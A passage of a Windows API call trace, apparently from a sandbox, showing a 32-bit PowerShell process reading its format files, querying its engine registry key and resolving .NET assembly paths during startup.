SetErrorMode (uMode=0x1) returned 0x1 [0148.673] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x314 [0148.673] GetLastError () returned 0x0 [0148.673] GetFileType (hFile=0x314) returned 0x1 [0148.673] SetErrorMode (uMode=0x1) returned 0x1 [0148.674] GetFileType (hFile=0x314) returned 0x1 [0148.674] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.678] GetLastError () returned 0x0 [0148.683] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.684] GetLastError () returned 0x0 [0148.685] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.685] GetLastError () returned 0x0 [0148.685] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.685] GetLastError () returned 0x0 [0148.686] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.686] GetLastError () returned 0x0 [0148.686] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.687] GetLastError () returned 0x0 [0148.687] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x9e2, lpOverlapped=0x0) returned 1 [0148.687] GetLastError () returned 0x0 [0148.687] ReadFile (in: hFile=0x314, lpBuffer=0x30bda3a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30bda3a*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0148.687] GetLastError () returned 0x0 [0148.687] ReadFile (in: hFile=0x314, lpBuffer=0x30be4b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30be4b8*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0148.687] GetLastError () returned 0x0 [0148.688] CloseHandle (hObject=0x314) returned 1 [0148.688] GetLastError () returned 0x0 [0148.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.688] GetLastError () returned 0x0 [0148.688] SetErrorMode (uMode=0x1) returned 0x1 [0148.689] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x30cf574 | out: lpFileInformation=0x30cf574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0148.689] GetLastError () returned 0x0 [0148.689] SetErrorMode (uMode=0x1) returned 0x1 [0148.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.690] GetLastError () returned 0x0 [0148.690] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x314) returned 0x0 [0148.690] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0148.691] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0148.691] RegCloseKey (hKey=0x314) returned 0x0 [0148.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.691] GetLastError () returned 0x0 [0148.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.691] GetLastError () returned 0x0 [0148.743] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xff98566f, Data2=0x4f02, Data3=0x4a74, Data4=([0]=0xa5, [1]=0xef, [2]=0xbf, [3]=0x9, [4]=0x28, [5]=0x45, [6]=0x75, [7]=0xbd))) returned 0x0 [0148.791] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xc72f56a7, Data2=0x4ff2, Data3=0x4491, Data4=([0]=0x96, [1]=0xaa, [2]=0x9f, [3]=0x5e, [4]=0x0, [5]=0xb, [6]=0xe, [7]=0xc1))) returned 0x0 [0148.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0148.794] GetLastError () returned 0x0 [0148.794] SetErrorMode (uMode=0x1) returned 0x1 [0148.794] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x314 [0148.794] GetLastError () returned 0x0 [0148.794] GetFileType (hFile=0x314) returned 0x1 [0148.795] SetErrorMode (uMode=0x1) returned 0x1 [0148.795] GetFileType (hFile=0x314) returned 0x1 [0148.796] ReadFile (in: hFile=0x314, lpBuffer=0x30e285c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e285c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.799] GetLastError () returned 0x0 [0148.801] ReadFile (in: hFile=0x314, lpBuffer=0x30e285c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e285c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.801] GetLastError () returned 0x0 [0148.802] ReadFile (in: hFile=0x314, lpBuffer=0x30e285c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e285c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.802] GetLastError () returned 0x0 [0148.804] ReadFile (in: hFile=0x314, lpBuffer=0x30e285c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e285c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.804] GetLastError () returned 0x0 [0148.805] ReadFile (in: hFile=0x314, lpBuffer=0x30e285c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e285c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.805] GetLastError () returned 0x0 [0148.807] ReadFile (in: hFile=0x314, lpBuffer=0x30e285c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e285c*, lpNumberOfBytesRead=0x2be634*=0xfb2, lpOverlapped=0x0) returned 1 [0148.807] GetLastError () returned 0x0 [0148.808] ReadFile (in: hFile=0x314, lpBuffer=0x30e1fae, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e1fae*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0148.808] GetLastError () returned 0x0 [0148.808] ReadFile (in: hFile=0x314, lpBuffer=0x30e285c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x30e285c*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0148.808] GetLastError () returned 0x0 [0148.808] CloseHandle (hObject=0x314) returned 1 [0148.808] GetLastError () returned 0x0 [0148.808] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0148.808] GetLastError () returned 0x0 [0148.809] SetErrorMode (uMode=0x1) returned 0x1 [0148.809] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x31030ec | out: lpFileInformation=0x31030ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0148.809] GetLastError () returned 0x0 [0148.809] SetErrorMode (uMode=0x1) returned 0x1 [0148.809] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0148.809] GetLastError () returned 0x0 [0148.809] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x314) returned 0x0 [0148.810] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0148.810] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0148.810] RegCloseKey (hKey=0x314) returned 0x0 [0148.810] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0148.811] GetLastError () returned 0x0 [0148.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0148.811] GetLastError () returned 0x0 [0148.815] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xceeb8348, Data2=0xeb5e, Data3=0x4d41, Data4=([0]=0x93, [1]=0x1f, [2]=0x66, [3]=0x90, [4]=0x85, [5]=0x80, [6]=0xa0, [7]=0xb3))) returned 0x0 [0148.833] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x549f7f1f, Data2=0xb3b1, Data3=0x4736, Data4=([0]=0x94, [1]=0xa3, [2]=0x90, [3]=0x90, [4]=0xe1, [5]=0x83, [6]=0xad, [7]=0x70))) returned 0x0 [0148.840] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x853ad056, Data2=0x9571, Data3=0x470a, Data4=([0]=0x99, [1]=0xbd, [2]=0x6, [3]=0xec, [4]=0xa1, [5]=0x7, [6]=0xae, [7]=0x53))) returned 0x0 [0148.841] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xcb9891e8, Data2=0x96d3, Data3=0x4515, Data4=([0]=0xb5, [1]=0x68, [2]=0xe9, [3]=0x89, [4]=0x54, [5]=0x2a, [6]=0x71, [7]=0xdd))) returned 0x0 [0148.841] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x2ddb9b38, Data2=0x4ca5, Data3=0x47b7, Data4=([0]=0xb0, [1]=0x28, [2]=0xb4, [3]=0xc1, [4]=0x64, [5]=0x95, [6]=0xab, [7]=0xee))) returned 0x0 [0148.841] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x28ba3859, Data2=0x41e1, Data3=0x4a94, Data4=([0]=0xbf, [1]=0x50, [2]=0xb9, [3]=0xe5, [4]=0x5d, [5]=0x15, [6]=0x95, [7]=0xe4))) returned 0x0 [0148.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.842] GetLastError () returned 0x0 [0148.842] SetErrorMode (uMode=0x1) returned 0x1 [0148.842] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x314 [0148.842] GetLastError () returned 0x0 [0148.842] GetFileType (hFile=0x314) returned 0x1 [0148.842] SetErrorMode (uMode=0x1) returned 0x1 [0148.843] GetFileType (hFile=0x314) returned 0x1 [0148.843] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.847] GetLastError () returned 0x0 [0148.849] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.850] GetLastError () returned 0x0 [0148.851] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.851] GetLastError () returned 0x0 [0148.851] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.851] GetLastError () returned 0x0 [0148.854] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.854] GetLastError () returned 0x0 [0148.854] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0148.854] GetLastError () returned 0x0 [0148.854] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0xaca, lpOverlapped=0x0) returned 1 [0148.855] GetLastError () returned 0x0 [0148.855] ReadFile (in: hFile=0x314, lpBuffer=0x31220fe, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x31220fe*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0148.855] GetLastError () returned 0x0 [0148.855] ReadFile (in: hFile=0x314, lpBuffer=0x3122a94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3122a94*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0148.855] GetLastError () returned 0x0 [0148.855] CloseHandle (hObject=0x314) returned 1 [0148.855] GetLastError () returned 0x0 [0148.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.856] GetLastError () returned 0x0 [0148.856] SetErrorMode (uMode=0x1) returned 0x1 [0148.856] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x3143a90 | out: lpFileInformation=0x3143a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0148.856] GetLastError () returned 0x0 [0148.856] SetErrorMode (uMode=0x1) returned 0x1 [0148.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.856] GetLastError () returned 0x0 [0148.857] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x314) returned 0x0 [0148.857] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0148.858] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0148.858] RegCloseKey (hKey=0x314) returned 0x0 [0148.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.858] GetLastError () returned 0x0 [0148.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.858] GetLastError () returned 0x0 [0148.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0148.897] GetLastError () returned 0x0 [0148.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0148.903] GetLastError () returned 0x57 [0148.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0148.928] GetLastError () returned 0x57 [0148.931] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0148.932] GetLastError () returned 0x57 [0148.935] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0148.935] GetLastError () returned 0x57 [0148.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0148.938] GetLastError () returned 0x57 [0148.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0148.942] GetLastError () returned 0x57 [0148.945] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0148.945] GetLastError () returned 0x57 [0148.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0148.948] GetLastError () returned 0x57 [0148.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0148.952] GetLastError () returned 0x57 [0148.955] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x2bde24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0148.955] GetLastError () returned 0x57 [0148.958] GetFullPathNameW 